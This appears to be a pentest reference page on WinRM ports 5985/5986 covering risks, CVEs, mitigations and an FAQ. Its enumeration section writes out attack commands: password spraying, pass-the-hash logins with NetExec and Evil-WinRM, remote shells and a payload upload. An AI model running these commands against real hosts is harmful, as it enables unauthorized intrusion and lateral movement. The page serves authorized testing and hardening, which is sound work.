logo

Port 5985/5986 – WinRM (Windows Remote Management)

Service:

WinRMWS-Management

Protocol:

TCP

Port:

5985 (HTTP), 5986 (HTTPS)

Used for:

Remote PowerShell remoting and Windows systems management (WS-Management)

Ports 5985 and 5986 are the default ports for WinRM (Windows Remote Management) — Microsoft’s implementation of the WS-Management (WS-Man) protocol for driving a Windows host remotely. WinRM is the transport underneath PowerShell Remoting (Enter-PSSession, Invoke-Command), the winrs command, Ansible’s winrm connection plugin, and most modern Windows automation. Port 5985 carries WinRM over HTTP; port 5986 carries it over HTTPS. Because a single valid login over WinRM hands an attacker a full remote PowerShell session on the target, an exposed WinRM port is one of the highest-value findings on a Windows estate — and one of the quietest lateral-movement channels in an Active Directory compromise.

Why It’s Open

WinRM is the standard way to administer Windows at scale without a GUI. It is enabled by default on Windows Server 2012 and later, switched on by Group Policy across managed fleets, and turned on by hand wherever an admin runs Enable-PSRemoting or winrm quickconfig. You’ll find it listening on domain controllers, member servers, jump boxes, build agents, and any host managed by System Center, Ansible, PowerShell DSC, or an RMM tool. Where WinRM answers, the rest of the Windows management surface is usually one scan away: SMB on port 445, Kerberos on port 88, LDAP on port 389, the RPC endpoint mapper on port 135, and the GUI sibling, RDP on port 3389. The problem is not that WinRM exists — it is that it is a credentialed remote-execution service, so anyone who reaches the port and holds one working credential gets a shell. That risk multiplies the moment 5985 or 5986 is reachable from an untrusted network instead of a locked-down management segment.

Common Risks

  • Credentialed remote command execution. This is the headline. With a valid domain or local administrator credential — or an NT hash via pass-the-hash — an attacker opens a full interactive PowerShell session with Evil-WinRM, NetExec/CrackMapExec, or Metasploit’s winrm_cmd. WinRM is effectively a remote shell for anyone who can authenticate.
  • Lateral movement that blends in. WinRM traffic looks like legitimate admin automation, so red teams and ransomware crews favour it over noisier channels like SMB/PsExec. It is a documented ATT&CK lateral-movement technique (T1021.006).
  • Pass-the-hash and pass-the-ticket. WinRM authenticates with Negotiate (Kerberos or NTLM). A captured NT hash or Kerberos ticket is usable directly — no password cracking required — so one harvested admin hash can hop host to host.
  • Cleartext credentials on 5985. If Basic authentication is enabled and AllowUnencrypted is set to true, credentials and command output cross port 5985 in the clear. Basic auth only base64-encodes the credential, which is trivially decoded off the wire.
  • Internet exposure. WinRM should never face the internet. An exposed 5985/5986 is a target for credential brute-force and password spraying, and a direct remote-code-execution path the instant a credential is found — plus a pre-auth RCE surface for the HTTP-stack bugs below.
  • Over-broad access. Membership of the local Remote Management Users group (or Administrators) is enough to connect. Loosely scoped membership turns WinRM into a broad execution surface across the fleet.

Want to save time on reporting?

Let PentestPad generate, track, and export your reports - automatically.

logo-cta

Enumeration & Testing

Detect the service and confirm the ports

Terminal window
nmap -p 5985,5986 -sV <target>

Nmap fingerprints WinRM as Microsoft HTTPAPI httpd (the http.sys listener) on 5985 and its TLS twin on 5986.

Identify WinRM auth methods

Terminal window
msfconsole -q
use auxiliary/scanner/winrm/winrm_auth_methods
set RHOSTS <target>
run

This confirms the endpoint is really WinRM and lists which authentication methods (Negotiate, Kerberos, NTLM, Basic) it accepts.

Leak host and domain names

Terminal window
nmap -p 5985 --script http-ntlm-info <target>

When WinRM offers Negotiate/NTLM, http-ntlm-info reads back the NTLMSSP challenge — NetBIOS and DNS computer/domain names and the OS build — from an unauthenticated request.

Spray or brute-force credentials

Terminal window
# Metasploit
use auxiliary/scanner/winrm/winrm_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
# NetExec / CrackMapExec — spray one password across a user list
netexec winrm <target> -u users.txt -p 'Winter2026!' --continue-on-success

Test a credential and run commands

Terminal window
# Confirm access with a password or an NT hash (pass-the-hash)
netexec winrm <target> -u <user> -p <pass>
netexec winrm <target> -u <user> -H <ntlm-hash> -x "whoami /all"
# Run a single command through Metasploit
use auxiliary/scanner/winrm/winrm_cmd
set RHOSTS <target>
set USERNAME <user>
set PASSWORD <pass>
set CMD "whoami"
run

Interactive shell with Evil-WinRM

Terminal window
evil-winrm -i <target> -u <user> -p <pass>
evil-winrm -i <target> -u <user> -H <ntlm-hash> # pass-the-hash
evil-winrm -i <target> -u <user> -p <pass> -S # over HTTPS (5986)
# Once inside, upload a file
upload /local/payload.exe C:\Windows\Temp\payload.exe

Native PowerShell / winrs check

Terminal window
Test-WSMan -ComputerName <target>
Enter-PSSession -ComputerName <target> -Credential (Get-Credential)
Invoke-Command -ComputerName <target> -ScriptBlock { hostname } -Credential (Get-Credential)
winrm get winrm/config/service # inspect AllowUnencrypted and auth config locally

Record every reachable WinRM host, every credential that works, and any host running AllowUnencrypted=true or Basic auth as you confirm it, so the evidence lands in the pentest report rather than a scratch terminal.

What to Look For

Checkpoint What it means
5985 open, 5986 closed WinRM is HTTP-only — Basic auth would expose credentials in cleartext
AllowUnencrypted = true in the service config Credentials and output cross 5985 in cleartext even with valid auth
Basic authentication enabled Credentials only base64-encoded — capturable on the wire over HTTP
Successful login with domain credentials Immediate full remote PowerShell — treat as critical
Login succeeds with an NT hash Pass-the-hash works; a single harvested hash equals a shell
Negotiate/Kerberos only Harder to brute-force, but a valid ticket or hash still grants access
WinRM reachable from the internet Brute-force target and pre-auth RCE surface — critical exposure
Unpatched Windows Server 2004 / 20H2 / 2019 / 2022 HTTP-stack RCE (CVE-2021-31166 / CVE-2022-21907) reachable via WinRM

Known CVEs and Exploits

Most real-world WinRM “attacks” are not exploits at all — they are credentialed feature-abuse: an attacker with a valid credential or hash uses WinRM exactly as designed, to run PowerShell remotely. There is no CVE to patch for that; the fix is credential hygiene and network restriction. The handful of genuine WinRM CVEs sit in the shared HTTP Protocol Stack (http.sys) that WinRM listens on, which makes them a pre-auth concern wherever WinRM is exposed:

  • CVE-2021-31166HTTP Protocol Stack Remote Code Execution. A use-after-free (CWE-416) in http.sys gives an unauthenticated attacker remote code execution, and is wormable. CVSS 3.1 base 9.8 (Critical). It affects Windows 10 and Server versions 2004 and 20H2 — and because WinRM runs on http.sys and is enabled by default on Windows Server, WinRM’s port 5985 is a primary way to reach the vulnerable stack. Added to CISA’s Known Exploited Vulnerabilities catalog.
  • CVE-2022-21907HTTP Protocol Stack Remote Code Execution. The same wormable, pre-auth http.sys RCE class, CVSS 3.1 base 9.8 (Critical), reaching newer builds: Windows 10/11 and Server 2019, Server 2022, and Server version 20H2. Any service on http.sys, WinRM included, exposes the vulnerable code path.

Two caveats worth stating plainly. First, these are http.sys bugs, not flaws in the WS-Management protocol itself — WinRM is the exposed listener, not the vulnerable code. Second, the once-common habit of listing CVE-2020-17144 (a Microsoft Exchange 2010 deserialization RCE) as a “WinRM CVE” is misleading: it is an Exchange application-layer bug that happens to be delivered through Exchange’s PowerShell endpoint, not a vulnerability in WinRM. Treat WinRM’s real risk as credential-driven, backed by the two http.sys RCEs when the host is unpatched and reachable.

Mitigation

  • Never expose WinRM to the internet. Firewall TCP 5985 and 5986 so they are reachable only from a dedicated management network or jump box. WinRM is an internal administration service; there is no reason for it to answer a public IP.
  • Disable Basic auth and forbid unencrypted traffic. This closes the cleartext-credential path on 5985:
    Terminal window
    winrm set winrm/config/service '@{AllowUnencrypted="false"}'
    winrm set winrm/config/service/auth '@{Basic="false"}'
  • Prefer HTTPS (5986) with a valid certificate. Run WinRM over 5986 with a certificate from your PKI so the whole transport — not just the message body — is encrypted and the endpoint is authenticated. Disable or firewall 5985 where 5986 is available. (See the dedicated port 5986 / WinRM-over-HTTPS page for the TLS-specific angle.)
  • Enforce Kerberos and restrict who can connect. Keep only Negotiate/Kerberos, and tightly scope membership of the Remote Management Users and local Administrators groups — those are the accounts that can open a session.
  • Use Just Enough Administration (JEA). Constrain WinRM sessions to role-limited PowerShell endpoints so an authenticated user gets only the specific commands their role needs, not an unconstrained shell.
  • Harden the credentials WinRM trusts. Deploy LAPS for unique local admin passwords, require MFA on privileged accounts, and rotate service-account secrets so a single stolen hash cannot roam the fleet by pass-the-hash.
  • Log and monitor sessions. Turn on PowerShell script block logging (Microsoft-Windows-PowerShell/Operational) and module logging, and watch Windows Event ID 4624 logon type 3 for unexpected WinRM logons, especially onto workstations.
  • Patch the HTTP stack. Keep Windows current so CVE-2021-31166 and CVE-2022-21907 are closed on every reachable host.

Real-World Example

WinRM is the go-to lateral-movement channel in modern Active Directory intrusions precisely because PowerShell Remoting traffic blends into a managed Windows environment. MITRE ATT&CK tracks it as sub-technique T1021.006, and the list of documented users reads like a who’s-who of serious operators: APT29 used WinRM via PowerShell to execute commands on remote hosts during the SolarWinds compromise; the ransomware crew Wizard Spider used it to move laterally; and more recent activity (for example Storm-0501) leans on Evil-WinRM — PowerShell over WinRM — for remote code execution. Offensive frameworks including Cobalt Strike, Brute Ratel C4, and SILENTTRINITY all ship WinRM pivoting. The pattern is consistent: an attacker collects one privileged credential or NT hash from an earlier foothold, then walks into the next server over 5985 with a tool like Evil-WinRM, runs PowerShell in memory, and harvests more credentials — no malware dropped to disk, no obviously malicious protocol on the wire. Separately, when the wormable http.sys bug CVE-2021-31166 landed in 2021, researchers quickly noted that internet-exposed WinRM servers — on by default on affected Windows Server builds — were directly reachable for pre-auth exploitation, underlining why 5985/5986 belong behind a firewall.

FAQ

What is port 5985 used for?

Port 5985 is the default port for WinRM (Windows Remote Management) over HTTP. WinRM is Microsoft’s WS-Management service and the transport behind PowerShell Remoting (Enter-PSSession, Invoke-Command) and the winrs command. It lets administrators — and anyone with a valid credential — run commands and manage a Windows host remotely.

What is the difference between port 5985 and 5986?

Both carry WinRM. 5985 is WinRM over HTTP; 5986 is WinRM over HTTPS (TLS). Over 5985, WinRM still encrypts the SOAP message body at the application layer when Negotiate (Kerberos/NTLM) is used — so it is not fully cleartext by default — but if Basic authentication is enabled with AllowUnencrypted=true, credentials cross 5985 in the clear. Port 5986 wraps the entire session in TLS and authenticates the endpoint with a certificate, which is why it is the preferred configuration.

What is the PowerShell Remoting port?

PowerShell Remoting runs over WinRM, so the port is 5985 for HTTP and 5986 for HTTPS. Enter-PSSession and Invoke-Command default to 5985; adding -UseSSL switches them to 5986.

Is WinRM dangerous to expose?

Yes. WinRM is a credentialed remote-execution service, so an internet-facing 5985/5986 is both a brute-force/password-spraying target and a direct remote-code-execution path once a credential is found — plus a pre-auth attack surface for the http.sys RCEs (CVE-2021-31166, CVE-2022-21907). WinRM should be reachable only from a trusted management network, never from a public IP.

How do I secure WinRM?

Firewall 5985/5986 to management hosts only, disable Basic auth and set AllowUnencrypted=false, prefer 5986/HTTPS with a valid certificate, restrict the Remote Management Users group, use Just Enough Administration to limit session capabilities, enforce Kerberos plus LAPS and MFA on privileged accounts, enable PowerShell script block logging, and keep Windows patched.

TL;DR

  • Service: WinRM (Windows Remote Management) — Microsoft’s WS-Management implementation and the transport for PowerShell Remoting
  • Default ports: 5985 (HTTP), 5986 (HTTPS)
  • Biggest risk: credentialed remote PowerShell — one valid credential or NT hash gives a full remote shell, making WinRM a favourite quiet lateral-movement channel (Evil-WinRM, NetExec, winrm_script_exec)
  • Mitigation: keep WinRM off the internet, disable Basic + AllowUnencrypted, prefer 5986/HTTPS, restrict Remote Management Users, use JEA, log PowerShell, and patch the HTTP stack (CVE-2021-31166 / CVE-2022-21907)